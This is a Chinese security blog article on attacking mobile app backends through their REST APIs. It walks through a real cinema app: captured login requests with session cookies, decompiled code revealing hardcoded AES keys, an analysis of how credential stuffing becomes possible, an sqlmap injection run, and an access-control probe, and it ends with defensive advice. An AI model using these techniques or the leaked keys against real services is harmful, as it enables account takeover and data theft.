通过IOS/Android App获取APP后端数据

2015-10-21 722449人围观 ,发现 10 个不明物体 WEB安全

本文原创作者:bt0sea

0×00、业务需求

移动应用产业以爆炸性的速度呈指数增长,但移动应用的安全问题落后于应用的发展速度。由于黑客事件变得越来越公开,对企业的影响比以往任何时候都更大。黑客渗透获取用户敏感数据后,出于商业目的销售,或者公开。所以,在移动APP端对企业数据的保护尤为重要。

P2P网站、金融等相关的网站、APP保存着用户的身份信息(真实姓名、身份证号、手机号、征信证明、银行流水等)。目前趋势是移动APP漏洞层出不穷,今天的移动安全相当于十年前web服务器安全的级别。基本上可以得出这样的结论:根据权威机构评估,平均每一个移动APP应用大约有3.5个安全漏洞,Apk 就是open source code代名词。

但是,单纯研究Mobile APP安全性问题,无法利用高危,获得服务器端的数据。所以,在分析移动APP漏洞的同时,要重点分析连接移动APP的RESTful API Web service。为什么要提RESTful API Web service呢?普通web架构+JSON不就成了么? 经过分析大部分有价值数据的网站都是使用RESTful API Web service。这是热需求。

咱们先看看哪些大咖用这种设计架构,github/fackbook等。不了解RESTful API Web Service的同学请参考:

http://www.ruanyifeng.com/blog/2014/05/restful_api.html

0×01、研究手段

一、破解思路:

其实重点突破RESTful API Web Service 还是通过iOS/Android App。由于很多高大上的网站为了安全性,把Web网站和移动APP隔离,发现使用http(s)://api(OpenApi).xxx.com/login/v1?phone=13811110000&sgin=022BEC9EE1B935B50D1193A07A3AD7B2。都是通过移动APP抓到的包。所以,我们先看看移动端安全风险主要有哪些,我们如何下手,其实OWASP Mobile Top 10 Risks给我们指引了方向:

M1: 不安全的服务器端访问控制
M2: 不安全的数据存储
M3: 传输层保护不足
M4: 非预期的数据泄露
M5: 脆弱的认证和授权
M6: 已知的弱加密算法
M7: 客户端注入
M8: 通过不被信任的输入改变安全设定
M9: 会话处理不当
M10: 缺乏二进制保护

虽然说官网总结的很好,但是对于服务器端渗透从字面上只有M1。但是个人觉得需要配合APP破解才能达到最佳效果。那么,具体应该怎么操作呢?

M1:不安全的服务器端访问控制

(1)通过android移动APP程序攻击服务器端业务逻辑。

(2)验证服务器端对输入校验。

(3)通用SQL注入 XSS跨站脚本,不安全的认证检查。

(4)通过代理方式操纵伪造数据提交。

当然要配合M2相关内容。

M2:不安全的数据存储

(1)敏感信息:用户名、密码、加密key、信用卡信息、session识别码、token等。

(2)个人信息:手机号、家庭住址、电子邮件、位置信息等。

(3)还有一些可能包含敏感信息的文件存储:SQLite databases 、Log Files 、XML Data Stores or Manifest Files 、Binary data stores 、SD Card、Cloud

二、具体攻击方法

2.1 使用安卓手机应用程序攻击服务器业务逻辑

通过上述分析,可以发现,如果想获取服务器端数据库的数据,主要是集中在对Web平台的安全检测,同时,结合这期的主题RESTful API Web Service,渗透测试重点主要表现在:

(1)、对手机APP客户端做身份认证(Authentication)

(2)、对手机APP身份认证之后的授权(Authorization)

(3)、对手机APP和服务器端传输的数据加密级别判定

首先,我们要了解目前的针对RESTful API Web Service防护的技术手段。

方法论研究

1、对手机APP客户端做身份认证

1.1、在APP请求中增加签名参数
1.2、http auth (HTTP Basic/HTTP Digest)身份认证机制,这个一般都由安全架构来承担(例如Spring Security)
1.3、OAuth 1/2协议做身份认证(一般都是第三方接入时使用,例如:weibo、微信等)

攻击思路:

寻找Android App存储在本地token信息,比如说在database、s_Prefs;等地方。

破解Android App的加固,寻找和服务器通讯URL签名算法。知道生成算法,就可以伪造请求了。。。

测试用例:撞库分析。。。(分析后可以通过已经泄露的数据库,碰撞测试):账号和密码产生机制,以及签名产生机制。

第一步:首先观察不同两次登录 URL是否存在URL签名。

POST http://wdapi.wandafilm.com/filmserver/user/login HTTP/1.1
Host: wdapi.wandafilm.com
Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 312
Connection: close
User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)
 
clientversion=30900&clientid=1&verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0SpI2Olm3oacqAG%252BxXBrCAm49QWQqztOFLvu5MuecuPzg%253D%253D&password=f73177f13486f55bcd8bea88d1610f58&mobile=186183xx220&imei=&version=2&clienttype=1
POST http://wdapi.wandafilm.com/filmserver/user/login HTTP/1.1
Host: wdapi.wandafilm.com
Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 308
Connection: close
User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)
 
clientversion=30900&clientid=1&verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0TyLPqEc9hZzGdykXLBNTChe8Cq3c6zqbo2I03zxSZDbA%253D%253D&password=f73177f13486f55bcd8bea88d1610f58&mobile=186183xx220&imei=&version=2&clienttype=1

发现verifycode没有改变。

第二步:分析登录各个参数的含义,同时参考破解APK文件。

POST http://wdapi.wandafilm.com/filmserver/user/login HTTP/1.1
Host: wdapi.wandafilm.com
Connection: close
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 316
Connection: close
Cookie: jsessionid|JSESSIONID=4151ab5036290f18ef079cf0f0e43281
User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)
 
clientversion=30900&
clientid=1&
verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0SrYk%252FpfqrZZAbA%252BwmJphBLFeaxqAU3tAC5Du9C9W4Yyw%253D%253D&
password=f73177f13486f55bcd8bea88d1610f58&
mobile=186183xx220&
imei=&
version=2&
clienttype=1

apk破解后找到登陆处理函数。

  public UserAPILogin(String paramString1, String paramString2, String paramString3, UserModel paramUserModel)
  {
    super("/user/login");
    this.mMobile = paramString1;
    this.mPassWord = Md5Utils.md5(paramString2);
    this.mUserModel = paramUserModel;
    this.mTerminal = paramString3;
  }

查看源代码后,发现没有加salt,当然你可以使用MD5工具加密对比,但是绝大部分的程序是加salt的。

  public static String md5(String paramString)
  {
    sMd5MessageDigest.reset();
    sMd5MessageDigest.update(paramString.getBytes());
    paramString = sMd5MessageDigest.digest();
    sStringBuilder.setLength(0);
    int i = 0;
    for (;;)
    {
      if (i >= paramString.length) {
        return sStringBuilder.toString();
      }
      int j = paramString[i] & 0xFF;
      if (j < 16) {
        sStringBuilder.append(&#039;0&#039;);
      }
      sStringBuilder.append(Integer.toHexString(j));
      i += 1;
    }
  }

在源代码中搜索verifycode、clientversion、clientid等关键字,定位到WandafilmServerAPI类中的描述:

 public String getUrl()
  {
    String str = super.getUrl();
    StringBuilder localStringBuilder = new StringBuilder();
    localStringBuilder.append(str);
    if (!str.contains("?")) {
      localStringBuilder.append("?");
    }
    for (;;)
    {
      localStringBuilder.append("clientid=");
      localStringBuilder.append(Integer.toString(NetConstants.CLIENT_ID));
      localStringBuilder.append("&clienttype=");
      localStringBuilder.append(Integer.toString(2));
      localStringBuilder.append("&verifycode=");
      str = getVerifyCodeAes(NetConstants.VERIFY_CODE + System.currentTimeMillis());
      if (!TextUtils.isEmpty(str)) {}
      try
      {
        localStringBuilder.append(URLEncoder.encode(str.trim(), "utf-8"));
        return localStringBuilder.toString();
        localStringBuilder.append("&");
      }
      catch (UnsupportedEncodingException localUnsupportedEncodingException)
      {
        for (;;)
        {
          localUnsupportedEncodingException.printStackTrace();
        }
      }
    }
  }

然后定位getVerifyCodeAes。

private String getVerifyCodeAes(String paramString)
  {
    if (mAes == null) {}
    try
    {
      mAes = new EncryptionAES(NetConstants.AES_KEY);
    }
    catch (NoSuchAlgorithmException localNoSuchAlgorithmException)
    {
      for (;;)
      {
        try
        {
          paramString = mAes.encrypt(paramString.getBytes());
          return paramString;
        }
        catch (InvalidKeyException paramString)
        {
          paramString.printStackTrace();
          return null;
        }
        catch (NoSuchAlgorithmException paramString)
        {
          paramString.printStackTrace();
          continue;
        }
        catch (NoSuchPaddingException paramString)
        {
          paramString.printStackTrace();
          continue;
        }
        catch (InvalidAlgorithmParameterException paramString)
        {
          paramString.printStackTrace();
          continue;
        }
        catch (IllegalBlockSizeException paramString)
        {
          paramString.printStackTrace();
          continue;
        }
        catch (BadPaddingException paramString)
        {
          paramString.printStackTrace();
          continue;
        }
        localNoSuchAlgorithmException = localNoSuchAlgorithmException;
        localNoSuchAlgorithmException.printStackTrace();
      }
    }
    catch (InvalidKeySpecException localInvalidKeySpecException)
    {
      for (;;)
      {
        localInvalidKeySpecException.printStackTrace();
      }
    }
  }
  static
  {
    int i;
    if (CURRENT_APP_SOURCE == AppSource.CINEMA)
    {
      i = 1;
      CLIENT_ID = i;
      if (CURRENT_APP_SOURCE != AppSource.CINEMA) {
        break label89;
      }
      str = "lhdV+wj177YyjirsxeikaNestM/YafgOxrpiGbMVxzvefarFNbQfGHXauqmTIJk+upexqehjv8xK+mlx2SbnDg==";
      label34:
      VERIFY_CODE = str;
      if (CURRENT_APP_SOURCE != AppSource.CINEMA) {
        break label96;
      }
    }
    label89:
    label96:
    for (String str = "wandayuanxian100008";; str = "wanhui20008qweasd")
    {
      AES_KEY = str;
      FACE_PACKAGE_LOCAL_PATH = Environment.getExternalStorageDirectory().getAbsolutePath() + "/WandaFacePackage";
      return;
      i = 2;
      break;
      str = "vcj3smUdw7H47eqDg++qQUR4P52JMZolcamSazRZAQP6h6H9C4vusOkCdt/a15ofuLwGgt+lsgCyzD+ph1WyNg==";
      break label34;
    }
  }

 

  private byte[] encrypt(SecretKey paramSecretKey, IvParameterSpec paramIvParameterSpec, byte[] paramArrayOfByte)
    throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException
  {
    Cipher localCipher = Cipher.getInstance("AES/CBC/PKCS7Padding");
    localCipher.init(1, paramSecretKey, paramIvParameterSpec);
    return localCipher.doFinal(paramArrayOfByte);
  }

System.currentTimeMillis()产生一个当前的毫秒,这个毫秒其实就是自1970年1月1日0时起的毫秒数

没有对手机唯一性的判断,那么,导致verifycode每次登陆都一样,那么,完全可以撞库。

设置8次提交。JSON数据返回值都一样({"msg":"手机号或密码错误!","status":13007}),那证明,服务器端java应用程序没有次数限制判断。

那么,具体怎么撞库,请参考:

http://mp.weixin.qq.com/s?__biz=MzA4MTA1MDIwMQ==&mid=207971286&idx=1&sn=adb5c7bffabee975fd76f4f0b71a815d#rd

2.2 常见的服务器端漏洞,如SQL注入

通过代理方式遍历APP抓取所有的URL连接,然后使用SQLMAP检查:

GET http://wdapi.wandafilm.com/filmserver/info/popularize?verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0S1UEUY0GOe3b2gBZ6jI19NjRz%252FMbY2H1MJ%252BG%252FUT6LPPg%253D%253D&clientid=1&imei=&clientversion=30900&version=2&clienttype=1 HTTP/1.1
Host: wdapi.wandafilm.com
Connection: keep-alive
Accept-Encoding: gzip
User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)
Connection: keep-alive
Cookie: UID=20130211223622356711; SESSIONID=7d4c8c04397e5542e890004d2100f904; jsessionid|JSESSIONID=ecc029e6326c8a7c319c7aa6506c7369

开启kali linux

开启终端:sqlmap –r sqlinj12.txt

提交的时候可以提交User-Agent:等相关参数为移动App提交,如果服务器端有相关的判断,可以绕过。

同时,建议通过wireshark观察一下返回值的情况。

经过测试发现没有sql注入漏洞。

2.3 服务器端输入验证的缺失

是否越权获取其他用户数据。

GET http://wdapi.wandafilm.com/filmserver/user/userdetail?clientversion=30900&type=1&userid=20130211223622356711&clientid=1&verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0RQz5UQQ8aiPpE15TIQiIOSUIaJWMCXwVDD5lGOpgY6gg%253D%253D&imei=&version=2&clienttype=1 HTTP/1.1
Host: wdapi.wandafilm.com
Connection: keep-alive
Accept-Encoding: gzip
User-Agent: 万达电影 3.9.0 rv:95475 (iPhone; iPhone OS 8.4.1; zh_CN)
Connection: keep-alive
Cookie: UID=20130211223622356711; SESSIONID=7d4c8c04397e5542e890004d2100f904; jsessionid|JSESSIONID=ecc029e6326c8a7c319c7aa6506c7369
http://wdapi.wandafilm.com/filmserver/user/userdetail?
clientversion=30900&
type=1&
userid=20130211223622356711&
clientid=1&
verifycode=26FZaoBW4leyKOPjrsruo%252FidC3w3S8ETmXUfiepYaAa6dwp1rqTh%252FLqFHsVxVnP8okfw%252BZaUOJ0ONHxYgOO2%252BrDmYygAmW874ZEZabzDK0RQz5UQQ8aiPpE15TIQiIOSUIaJWMCXwVDD5lGOpgY6gg%253D%253D&
imei=&
version=2&
clienttype=1
    ((StringBuffer)localObject5).append("UserId");
    ((StringBuffer)localObject5).append(" =? ");
    Object localObject1 = CinemaGlobal.getInst().mUserModel.getUser().getUid();

0×02、测试结论:

(1)不能相信任何用户的输入,服务器端必须做校验。为了防止提交URL篡改。设计URL时:建议使用用户名密码 + https + url签名(url+时间戳+随机字串)链接。服务器返回token:使用约定的AES算法secret key随机

(2)为了防止为重放攻击,请求中增加一次性的Token,或者短时间内有效的Token。需要提取用户手机特征,但是iphone最好不要提取IMEI,因为苹果权限控制,很多时候为失效状态,导致URL签名没有变化。

(3)客户端最好不要存储任何有价值的数据。存储也必须加密。因为很多时候,你无法判断你的APP是否运行在一个被root的手机上。

* 作者:bt0sea,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

相关推荐

这些评论亮了

发表评论

已有 10 条评论

取消
Loading...

文章目录

    特别推荐

    推荐关注

    官方公众号

    聚焦企业安全

    填写个人信息

    姓名
    电话
    邮箱
    公司
    行业
    职位
    css.php